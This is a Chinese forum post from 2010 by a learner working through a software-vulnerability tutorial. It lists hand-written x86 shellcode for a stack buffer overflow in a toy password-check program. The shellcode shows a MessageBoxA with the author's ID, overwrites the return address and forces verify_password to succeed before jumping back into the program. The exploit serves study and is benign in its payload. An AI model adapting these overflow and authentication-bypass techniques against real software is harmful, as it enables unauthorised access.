最近学习failwest的软件漏洞分析入门教学系列,也没权限跟帖,所以发这来了
大家也可以去看看,学习学习,挺有意思的
http://bbs.pediy.com/showthread.php?t=56445
原帖讲得很明白,我也给出自己的成果,包括帖中提出的安全退出部分。
改了一下原帖汇编码,以适应我的机子,当然要显示我自己的id "xiaca"
机器代码(16进制) 汇编指令 注释
BB 61616161 MOV EBX,0x61616161 其实就为了最后的'a'
C1EB 18 SHR EBX,0x18 完成串尾"a\0"
53 PUSH EBX 存入栈
68 78696163 PUSH 0x63616978 存入栈"xiac";
8BC4 MOV EAX,ESP eax里是字符串"xiaca"指针
33DB XOR EBX,EBX ebx清0
53 PUSH EBX 四个参数按照从右向左的顺序入栈,分别为:
(0,"xiaca","xiaca",0)
消息框为默认风格,文本区和标题都是"xiaca"
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA07D577 MOV EAX,0x77D507EA 装载MessageBoxA入口地址,要改为自己机器上的函数入口地址
FFD0 CALL EAX 调用MessageBoxA
....... 填充0x90 -- nop指令
7C FB 13 00 最后是返回指令地址;根据自己程序情况修改,
我用od跟踪,取的是char password[1024];的地址,原文取的是char buffer[44];的地址,
我认为不安全,因为函数执行完后, buffer空间是被忽略的,执行这些附加代码后,
栈的使用将有覆盖附加代码的危险;如果password是堆里动态分配的话就不行了,那么使用buffer地址的话,
应该在使用栈前进行栈帧分配才行,当然用完后恢复栈平衡
安全退出
有人直接调用exit退出,我觉得不好,我想跳到函数返回继续运行
那么安全上讲应在跳转前恢复到原来正确栈帧,
栈帧的ebp被覆盖,无法定位,我是直接指定的,
跳转代码的地址也没法自动定位,也是直接指定,
这两个值根据自己情况在od中获取,
esp可以根据栈平衡来恢复
所以我的退出代码如下
83C4 08 ADD ESP,8 MessageBoxA调用会自动平衡掉4个参数,所以只需
平衡掉字符串"xiaca"的两次push即可
BD FF80FF13 MOV EBP,0x13FF80FF 回复EBP到0x0013ff80,为了指令中没有00,加点处理
C1ED 08 SHR EBP,8
33C0 XOR EAX,EAX 改变函数verify_password返回,使成功
BB FF181140 MOV EBX,0x401118FF 回复EBP到0x00401118,为了指令中没有00,同上处理
C1EB 08 SHR EBX,8
FFE3 JMP EBX 跳转执行
最终文件
运行结果
确定后
- 标 题:学习<软件漏洞分析入门教学系列-5>
- 作 者:xiaca
- 时 间:2010-08-20 20:33:11
- 链 接:http://bbs.pediy.com/showthread.php?t=118901